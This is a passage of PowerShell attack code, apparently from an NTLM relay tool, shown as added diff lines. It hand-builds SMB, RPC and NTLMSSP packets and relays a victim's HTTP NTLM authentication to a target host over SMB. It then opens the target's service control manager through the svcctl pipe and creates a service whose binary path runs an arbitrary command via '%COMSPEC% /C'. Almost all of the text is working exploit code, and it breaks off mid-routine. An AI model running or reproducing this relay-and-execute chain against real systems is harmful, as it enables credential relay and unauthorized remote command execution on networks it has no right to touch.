$packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + if($packet_call_ID -eq 3) + { + $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $packet_RPCBind + } + + function New-PacketRPCRequest + { + param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) + + if($packet_auth_length -gt 0) + { + $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + } + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) + $packet_auth_length = $packet_auth_length[0,1] + + $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCRequest.Add("Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketFlags",$packet_flags) + $packet_RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("FragLength",$packet_frag_length) + $packet_RPCRequest.Add("AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("CallID",$packet_call_ID) + $packet_RPCRequest.Add("AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("ContextID",$packet_context_ID) + $packet_RPCRequest.Add("Opnum",$packet_opnum) + + if($packet_data.Length) + { + $packet_RPCRequest.Add("Data",$packet_data) + } + + return $packet_RPCRequest + } + + #SCM + + function New-PacketSCMOpenSCManagerW + { + param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) + $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID1 += 0x00,0x00 + $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID2 += 0x00,0x00 + + $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMOpenSCManagerW.Add("MachineName_ReferentID",$packet_referent_ID1) + $packet_SCMOpenSCManagerW.Add("MachineName_MaxCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("MachineName_ActualCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName",$packet_service) + $packet_SCMOpenSCManagerW.Add("Database_ReferentID",$packet_referent_ID2) + $packet_SCMOpenSCManagerW.Add("Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Unknown",[Byte[]](0xbf,0xbf)) + $packet_SCMOpenSCManagerW.Add("AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) + + return $packet_SCMOpenSCManagerW + } + + function New-PacketSCMCreateServiceW + { + param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, + [Byte[]]$packet_command,[Byte[]]$packet_command_length) + + $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID += 0x00,0x00 + + $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMCreateServiceW.Add("ContextHandle",$packet_context_handle) + $packet_SCMCreateServiceW.Add("ServiceName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("ServiceName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("ServiceName",$packet_service) + $packet_SCMCreateServiceW.Add("DisplayName_ReferentID",$packet_referent_ID) + $packet_SCMCreateServiceW.Add("DisplayName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("DisplayName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("DisplayName",$packet_service) + $packet_SCMCreateServiceW.Add("AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) + $packet_SCMCreateServiceW.Add("ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("BinaryPathName_MaxCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("BinaryPathName_ActualCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("BinaryPathName",$packet_command) + $packet_SCMCreateServiceW.Add("NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("TagID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("DependSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SCMCreateServiceW + } + + function New-PacketSCMStartServiceW + { + param([Byte[]]$packet_context_handle) + + $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMStartServiceW.Add("ContextHandle",$packet_context_handle) + $packet_SCMStartServiceW.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SCMStartServiceW + } + + function New-PacketSCMDeleteServiceW + { + param([Byte[]]$packet_context_handle) + + $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMDeleteServiceW.Add("ContextHandle",$packet_context_handle) + + return $packet_SCMDeleteServiceW + } + + function New-PacketSCMCloseServiceHandle + { + param([Byte[]]$packet_context_handle) + + $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCM_CloseServiceW.Add("ContextHandle",$packet_context_handle) + + return $packet_SCM_CloseServiceW + } + +} + +# Relay Functions ScriptBlock +$SMB_relay_functions_scriptblock = +{ + + function SMBNTLMChallenge + { + param ([Byte[]]$payload_bytes) + + $payload = [System.BitConverter]::ToString($payload_bytes) + $payload = $payload -replace "-","" + $NTLM_index = $payload.IndexOf("4E544C4D53535000") + + if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") + { + $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) + } + + return $NTLM_challenge + } + + function SMBRelayChallenge + { + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version,$signing_check) + + if($SMB_relay_socket) + { + $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() + } + + $SMB_client_receive = New-Object System.Byte[] 1024 + $SMB_client_stage = 'NegotiateSMB' + + :SMB_relay_challenge_loop while($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'NegotiateSMB' + { + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $SMB_client_stage = 'NTLMSSPNegotiate' + } + else + { + $SMB_client_stage = 'NegotiateSMB2' + } + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03')) + { + $inveigh.target_list.Remove($SMB_relay_socket.Client.RemoteEndpoint.Address.IPaddressToString) + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Removed target $($SMB_relay_socket.Client.RemoteEndpoint.Address.IPaddressToString) due to signing requirement") + $SMB_relay_socket.Close() + $SMB_client_receive = $null # ? + $SMB_client_stage = 'exit' + } + elseif($signing_check) + { + $SMB_relay_socket.Close() + $SMB_client_stage = 'exit' + } + + } + + 'NegotiateSMB2' + { + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_message_ID = 1 + $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'NTLMSSPNegotiate' + } + + 'NTLMSSPNegotiate' + { + + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'exit' + } + + } + + } + + return $SMB_client_receive + } + + function SMBRelayResponse + { + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$SMB_session_ID) + + $SMB_client_receive = New-Object System.Byte[] 1024 + + if($SMB_relay_socket) + { + $SMB_relay_response_stream = $SMB_relay_socket.GetStream() + } + + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID + $packet_SMB_header["UserID"] = $SMB_user_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $HTTP_request_bytes + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_auth + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID = 3 + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $HTTP_request_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_relay_response_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_response_stream.Flush() + $SMB_relay_response_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00')) + { + $SMB_relay_failed = $false + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication successful for $HTTP_username_full on $Target") > $null + } + else + { + + if($HTTP_NTLM_domain_string -ne '') + { + $inveigh.relay_user_failed_list.Add("$HTTP_source_IP $HTTP_username_full $Target") + } + + $inveigh.relay_list.Add("$HTTP_source_IP $Target") + $SMB_relay_failed = $true + $SMB_relay_socket.Close() + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication failed for $HTTP_username_full on $Target") > $null + } + + return $SMB_relay_failed + } + + function SMBRelayExecute + { + param ($SMB_relay_socket,$SMB_version,$SMB_user_ID,$SMB_session_ID) + + $SMB_client_receive = New-Object System.Byte[] 1024 + + if(!$Service) + { + $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00-00-00' + $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $SMB_service = $Service + $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($Service) + + if([Bool]($SMB_service.Length % 2)) + { + $SMB_service_bytes += 0x00,0x00 + } + else + { + $SMB_service_bytes += 0x00,0x00,0x00,0x00 + + } + + } + + $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) + $Command = "%COMSPEC% /C `"" + $Command + "`"" + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += "{0:X2}-00-" -f $_} + + if([Bool]($Command.Length % 2)) + { + $SMBExec_command += '00-00' + } + else + { + $SMBExec_command += '00-00-00-00' + } + + $SMBExec_command_bytes = $SMBExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2) + + $SMB_path = "\\" + $Target + "\IPC$" + + if($SMB_version -eq 'SMB1') + { + $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 + } + else + { + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + } + + $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 + $SMB_client_stream = $SMB_relay_socket.GetStream() + $SMB_split_index = 4256 + + if($SMB_version -eq 'SMB1') + { + $SMB_client_stage = 'TreeConnectAndXRequest' + + :SMB_execute_loop while ($SMB_client_stage -ne 'Exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnectAndXRequest' + { + $packet_SMB_header = New-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBTreeConnectAndXRequest $SMB_path_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateAndXRequest' + } + + 'CreateAndXRequest' + { + $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl + $SMB_tree_ID = $SMB_client_receive[28,29] + $packet_SMB_header = New-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_FID = $SMB_client_receive[42,43] + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_RPC_data = New-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadAndXRequest' + { + Start-Sleep -m 150 + $packet_SMB_header = New-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBReadAndXRequest + $packet_SMB_data["FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = $SMB_client_stage_next + } + + 'OpenSCManagerW' + { + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $SMB_service_manager_context_handle = $SMB_client_receive[88..107] + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full has execution privilege on $Target") > $null + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') + { + $SMB_relay_failed = $true + + if($HTTP_NTLM_domain_string -ne '') + { + $inveigh.relay_user_failed_list.Add("$HTTP_source_IP $HTTP_username_full $Target") + } + + if(!$inveigh.relay_list.Contains("$HTTP_source_IP $Target")) + { + $inveigh.relay_list.Add("$HTTP_source_IP $Target") + } + + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full does not have execution privilege on $Target") > $null + } + else + { + $SMB_relay_failed = $true + } + + } + + 'CreateServiceW' + { + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 